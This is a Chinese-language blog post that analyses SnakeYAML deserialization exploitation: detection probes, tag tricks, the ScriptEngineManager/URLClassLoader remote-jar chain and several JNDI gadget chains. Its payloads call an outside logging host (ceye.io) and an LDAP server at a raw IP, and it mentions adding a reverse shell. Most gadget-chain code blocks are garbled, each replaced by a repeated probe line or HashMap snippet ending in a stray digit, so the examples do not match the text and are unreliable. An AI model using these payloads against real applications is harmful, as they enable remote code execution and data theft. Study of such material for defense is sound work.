反序列化探测
使用URLClassLoader探测
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://tcbua9.ceye.io/\"]]]]";
使用Key调用hashCode方法探测
外部探测漏洞点
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
我们根据urldns链可以知道key会进行hashCode方法的调用,之后进行urldns的解析
SnakeYaml在进行map的处理的时候将会对key进行hashCode处理,所以我们尝试map的格式
HashMap hashMap = new HashMap();
hashMap.put("a", "a");
hashMap.put("b", "b");
System.out.println(yaml.dump(hashMap));
// {a: a, b: b}
所以我们就可以按照这种使用{ }包裹的形式构造map,然后将指定的URL置于key位置
探测内部类
String poc = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
在前面加上需要探测的类,在反序列化的过程中如果没有报错,说明反序列化成功了的,进而存在该类
这里创建对象的时候使用的是{}这种代表的是无参构造,所以需要存在有无参构造函数,不然需要使用[]进行复制构造
trick
替代 !!指定类
public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");
使用 ! <>结合的方法
使用这个需要使得反序列化的类有一个单参构造器
//test
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://tcbua9.ceye.io/"]]]]
//"{!<tag:yaml.org,2002:str> dataSourceName: ldap://120.53.29.60:1389/skgw2z, !<tag:yaml.org,2002:bool> autoCommit: true}"使用%TAG ! tag.yaml.org,2002提前声明
要求也是需要有有参构造器;不过这里可以传入[]进行参数的赋值;所以无论几个参数都是可以的
//test
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://tcbua9.ceye.io/"]]]]
SnakeYAML反序列化
简介
YAML是”YAML Ain’t a Markup Language”;它并不是一种标记语言,而是用来表示序列化的一种格式
他是JAVA用于解析YAML格式的库
分析
它使用new Yaml()对象进行序列化和反序列化
- Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
- Yaml.dump():将一个对象转化为yaml文件形式;
按照Y4的说法,当不存在某个属性,或者存在属性但是不是由public修饰的时候会调用set方法
做出测试验证:
public class User {
private String name;
public String passwd;
Integer age;
public User() {
System.out.println("构造方法。。。。。");
}
public void setName(String name) {
System.out.println("setName...........");
this.name = name;
}
public void setPasswd(String passwd) {
System.out.println("setPasswd..........");
this.passwd = passwd;
}
public void setAge(Integer age) {
System.out.println("setAge............");
this.age = age;
}
public void setTest(String test) {
System.out.println("setTest..........");
}
}
其中passwd属性为public修饰,且存在一个不存在属性的setter方法
import org.yaml.snakeyaml.Yaml;
import java.io.FileNotFoundException;
public class Test {
public static void main(String[] args) throws FileNotFoundException {
Yaml yaml = new Yaml();
yaml.load("!!study.snakeyaml.User {name: abc, passwd: bn, age: 870, test: 89}");
}
}
反序列化过程分析
在Yaml.load方法中,首先会创建一个StreamReader对象,将yaml.load中的值传入,之后将这个对象传入loadFromReader中
接着调用了getSingleData方法,且此时的type是一个Object类型,也可以知道这个yaml是一个类
之后跟进getSingleData方法,首先通过了之前创建的Composer对象创建了一个结点,如果结点为空,就证明没有内容,返回null值,如果不为空但是type不为Object类型,就会通过setTag方法将传入的type强添入结点,如果为Object类型,就跳过,之后调用了constructDocument方法
跟进,首先判断了constructedObjects recursiveObjects里面是否有了node结点, 这里不存在,之后将结点添加进入了recursiveObjects,之后通过getConstructor得到node结点的constructor, 进而调用construct方法得到对象
在construct方法中,通过调用constructJavaBean2ndStep返回对象
我们跟进createEmptyJavaBean方法,通过反射得到了类的构造函数之后通过newInstance进行实例化
接着回到了construct方法中,之后跟进constructJavaBean2ndStep方法,之后再PropertyUtils.getPropertiesMap中存在是否是isPublic的判断, 如果是public修饰,调用org.yaml.snakeyaml.introspector.FieldProperty#get,这个只是反射获取值
原理
主要是通过!!指定反序列化的类,并且在反序列化该类的同时会实例化,之后通过URLClassLoader LDAP RMI等方式远程加载字节码,进行执行恶意代码
利用链
利用SPI机制-基于ScriptEngineManager利用链
什么是SPI
服务提供发现机制
SPI就是为相关接口实现动态实现类的机制,如果需要使用它需要在ClassPath下的META-INF/services/目录中创建一个以服务接口命名的文件,文件里面的内容是这个接口的具体实现类的全限定类名
例子:
github项目
在src目录下创建了META-INF/services/exploit/javax.script.ScriptEngineFactory 写入了exploit.AwesomeScriptEngineFactory
创建了exploit/AwesomeScriptEngineFactory.java实现了ScriptEngineFactory接口的类
之后编译和打包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
添加Socket反弹shell
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
0
POC
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
1
成功执行Payload
Payload分析
将payload.jar放入lib下,之后在javax.script.ScriptEngineManager下的构造方法处打下断点
可以发现loader是我们payload中的URLClassLoader
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
2
之后跟进ScriptEngineManager
在构造方法中调用了init方法,在init方法中都是一些变量的初始化,跟进initEngines方法
这里的ServiceLoader就是使用的SPI机制,这里的泛型是javax.script.ScriptEngineFactory, 也能够说明为什么我们的payload.jar中的services/javax.script.ScriptEngineFactory
之后ServiceLoader需要寻找的服务是javax.script.ScriptEngineFactory,通过URLClassLoader寻找服务,对应的URL为payload中的地址
之后会调用ServiceLoader#iterator方法进而调用next,之后调用了ServiceLoader$LazyIterator#next方法,进而调用了nextService方法
通过反射加载了NashornScriptEngineFactory类,之后通过newInstance实例化
在之后的迭代过程中也会加载payload中的类并实例化
不出网利用
WrapperConnectionPoolDataSource
MarshalOutputStream写文件 + ScriptEngineManager file协议加载本地jar
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
3String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
4
C3P0链
JndiRefForwardingDataSource
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
5
分析:
这里主要是使用的C3P0链中的JndiRefForwardingDataSource类
其中的setLoginTimeout调用了inner方法,然而在inner方法中也调用了dereference方法
在该方法中存在jndi注入(如果jndi可控)
而在他的父类中存在对应的setter方法,形成了利用链
WrapperConnectionPoolDataSource
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
6
这是一条不出网的二次反序列化 SnakeYaml + CC4链
分析:
c3p0在监听userOverridesAsString属性值的时候会调用C3P0ImplUtils.parseUserOverridesAsString处理新的属性值,截取了HexAsciiSerializedMap后的第二个字符到倒数第二个字符的hex串,之后通过调用fromHexAscii方法将hex转化为序列化字节,再通过调用了SerializableUtils.fromByteArray方法处理序列化字节,调用了deserializeFromByteArray进行反序列化,如果这里是一个恶意的字节码,就会进行恶意触发漏洞
通过在他的父类中同样有对应的setter方法,就可以结合其他反序列化链子进行利用链的构造
fastjson链
com.sun.rowset.JdbcRowSetImpl
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
7
这个链子主要是通过setAutoCommit方法中调用connect方法进而导致lookup的参数可控形成了jndi注入
oracle.jdbc.rowset.OracleJDBCRowSet
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
8
这个链子主要是通过OracleJDBCRowSet类中的setCommand方法中存在调用getConnection方法,且lookup的参数可控形成利用链
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
9
HashMap hashMap = new HashMap();
hashMap.put("a", "a");
hashMap.put("b", "b");
System.out.println(yaml.dump(hashMap));
// {a: a, b: b}
0
主要是通过JndiDataSourceFactory的setProperties方法的lookup可控
org.springframework.beans.factory.config.PropertyPathFactoryBean
HashMap hashMap = new HashMap();
hashMap.put("a", "a");
hashMap.put("b", "b");
System.out.println(yaml.dump(hashMap));
// {a: a, b: b}
1
这个payload主要是通过在PropertyPathFactoryBean类中将会触发setBeanFacotry调用beanFactory.setBean在其中存在一个可控的lookup方法,但是其中有一个判断if (isSingleton(name)), 我们需要设置shareableResources绕过
javax.management.BadAttributeValueExpException
需要依赖
HashMap hashMap = new HashMap();
hashMap.put("a", "a");
hashMap.put("b", "b");
System.out.println(yaml.dump(hashMap));
// {a: a, b: b}
2
HashMap hashMap = new HashMap();
hashMap.put("a", "a");
hashMap.put("b", "b");
System.out.println(yaml.dump(hashMap));
// {a: a, b: b}
3
这个利用链,在BadAttributeValueExpException类的构造方法中
如果传入的参数是org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding类对象,将会调用他的toString方法,虽然这个静态类没有toString方法,但是他的父类为Binding存在,在其中调用了ReadOnlyBinding#getObject方法,进而调用了ReadOnlyBinding#resolve, 在其中存在NamingManager.getObjectInstance,这个就是jndi利用链的一部分
跟进,在NamingManager#getObjectInstance调用了getObjectFactoryFromReference方法,跟进
首先使用当前的ClassLoader加载类,如果没有加载到,就通过获取codebase得到ClassLocation,之后通过loadClass获取恶意类,值得注意的是,在loadClass方法中将会判断是否开启trustURLCodebase,当然尽管他为flase,我们也可以通过寻找ObjectFactory绕过限制,后面的过程就很明白了
当然还有各种各样的和fastjson链结合的payload
org.apache.commons.configuration.ConfigurationMap
HashMap hashMap = new HashMap();
hashMap.put("a", "a");
hashMap.put("b", "b");
System.out.println(yaml.dump(hashMap));
// {a: a, b: b}
4
HashMap hashMap = new HashMap();
hashMap.put("a", "a");
hashMap.put("b", "b");
System.out.println(yaml.dump(hashMap));
// {a: a, b: b}
5
调用栈
HashMap hashMap = new HashMap();
hashMap.put("a", "a");
hashMap.put("b", "b");
System.out.println(yaml.dump(hashMap));
// {a: a, b: b}
6
在constructMapping2ndStep调用AbstractMap#hashCode方法,之后调用了JNDIConfiguration#getKeys在getBaseContext存在可控的lookup
Reference
https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90
https://www.cnblogs.com/CoLo/p/16225141.html
还没有评论,来说两句吧...